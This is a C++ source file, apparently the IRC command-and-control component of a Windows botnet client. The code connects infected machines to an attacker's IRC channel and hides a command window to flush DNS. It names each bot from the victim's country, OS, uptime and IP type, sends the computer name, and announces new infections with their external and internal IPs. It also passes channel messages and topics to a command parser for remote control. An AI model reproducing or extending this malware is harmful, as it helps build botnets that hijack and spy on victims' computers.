#include "includes.h" IRC::IRC () { this->connected = false; this->err = 0; this->last_recv = 0; } void IRC::destroy () { this->quit ("killing irc..."); } void IRC::irc_connect (char *s, const unsigned short p, const char *c, const int nl, const int rd) { strncpy (this->server, s, sizeof (this->server) - 1); this->port = p; strncpy (this->channel, c, sizeof (this->channel) - 1); this->nick_len = nl; this->reconnect_delay = rd; GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, LOCALE_SABBREVCTRYNAME, this->country, 3); this->start (); } DWORD IRC::main (LPVOID param) { TRY fd_set rfds; struct timeval tv; tv.tv_sec = 1; while (true) { if (this->connected == false) { if (this->init ()) { this->connected = true; continue; } else { this->connected = false; Sleep (this->reconnect_delay); continue; } } this->err = 0; char buffer[2048] = {0}; FD_ZERO (&rfds); FD_SET (this->sock, &rfds); this->err = select (FD_SETSIZE, &rfds, 0, 0, &tv); if (this->err) { if (FD_ISSET (this->sock, &rfds)) { this->err = 0; this->err = recv (this->sock, buffer, sizeof (buffer), 0); this->last_recv = GetTickCount (); if (this->err == SOCKET_ERROR) { this->quit ("error"); continue; } this->split (buffer); } } else if (this->err < 0) this->quit ("error"); if (((GetTickCount ()-this->last_recv) > 500000) && this->last_recv) this->quit ("ping timeout?"); } CATCH return 0; } void IRC::msg (char *cchannel, char *name, char *msg, ...) { TRY if (!this->connected) return; va_list va; char buf[1000] = {0}, buffer[1024] = {0}; va_start (va, msg); _vsnprintf (buf, sizeof (buf) - 1, msg, va); va_end (va); _snprintf (buffer, sizeof (buffer) - 1, "PRIVMSG %s :%s%s%s ยป %s", cchannel, IRC_BOLD, name, IRC_OFF, buf); this->raw ("%s", buffer); CATCH } bool IRC::init () { this->connected = true; WinExec ("ipconfig /flushdns", SW_HIDE); this->err = 0; bool bOptVal = true; int bOptLen = sizeof(bool); SOCKADDR_IN ssin; ssin.sin_family = AF_INET; ssin.sin_addr.s_addr = resolve (this->server); ssin.sin_port = htons (this->port); this->sock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); if (this->sock == INVALID_SOCKET) goto fail; this->err = connect (this->sock, (LPSOCKADDR)&ssin, sizeof(ssin)); if (this->err == SOCKET_ERROR) goto fail; this->init_user (); this->init_nick (); this->err = setsockopt (this->sock, SOL_SOCKET, SO_KEEPALIVE, (char*)&bOptVal, bOptLen); if (this->err == SOCKET_ERROR) goto fail; this->connect_time = GetTickCount (); return true; fail: this->close (); return false; } void IRC::split (char *str) { TRY char *p; while (p = strstr(str, "\r\n")) { *p = '\0'; this->parse(str); str = p + 2; } CATCH } void IRC::parse (char *str) { TRY char *arg[100] = {0}, *carg[100] = {0}, *p; int c = 0; while (p = strstr(str, " ")) { *p = '\0'; arg[c] = str; str = p + 1; c++; } arg[c] = str; int x = 3; if (!arg[0] || !arg[1]) return; if (!lstrcmp("PING", arg[0])) this->raw ("PONG %s", arg[1]); else if (!lstrcmp("001", arg[1])) { this->raw ("JOIN %s", this->channel); DWORD attr = GetFileAttributes (FILE_NEW); if (attr != 0xffffffff) { DeleteFile (FILE_NEW); this->msg (CHANNEL_NEW, "NEW", "%s [%s]", external_ip, internal_ip); } } if (!lstrcmp("332", arg[1])) x = 4; else if (!lstrcmp("PRIVMSG", arg[1])) x = 3; else return; if (!(arg[x]++)) return; if (wild (arg[x], this->nick)) return; x += 1; int s = 0; for (int a = (x + 1); a <= c; a++) { carg[s] = arg[a]; s++; } command_parse (arg[x], carg, s); CATCH } void IRC::raw (char *msg, ...) { TRY if (!this->connected) return; va_list va; char buf[1024] = {0}; va_start(va, msg); _vsnprintf(buf, sizeof (buf) - 1, msg, va); va_end(va); strncat (buf, "\r\n", sizeof (buf) - 1); send(sock, buf, lstrlen(buf), 0); CATCH } void IRC::close () { if (!this->connected) return; closesocket (this->sock); this->connected = false; } void IRC::quit (char *msg) { if (!this->connected) return; this->raw ("QUIT :%s", msg); this->close (); } void IRC::init_nick () { const char nick_chars[] = "abcdefghijklmnopqrstuvwxyz"; srand (GetTickCount ()); char rndnick[30] = {0}, os[10] = {0}; strncpy(os, get_os (), sizeof (os) - 1); for(unsigned int l = 0; l < this->nick_len; ++l) rndnick[l] = nick_chars[(rand()%(sizeof(nick_chars)-1))]; ZeroMemory (this->nick, sizeof(this->nick)); _snprintf(this->nick, sizeof (this->nick) - 1, "%c|%0.3u|%3s|%s|%s", ((PrivateIP(internal_ip))?('P'):('O')), uptime(), this->country, os, rndnick); this->raw ("NICK %s", this->nick); } void IRC::init_user () { char cname[1024] = {0}; DWORD cSize = MAX_COMPUTERNAME_LENGTH + 1; GetComputerName (cname, &cSize); this->raw ("USER %s n n :%s", cname, VERSION); } char * IRC::get_nick () { static char gNick[50]; strncpy (gNick, this->nick, sizeof (gNick) - 1); return gNick; } bool IRC::is_connected () { if (this->connected) return true; return false; }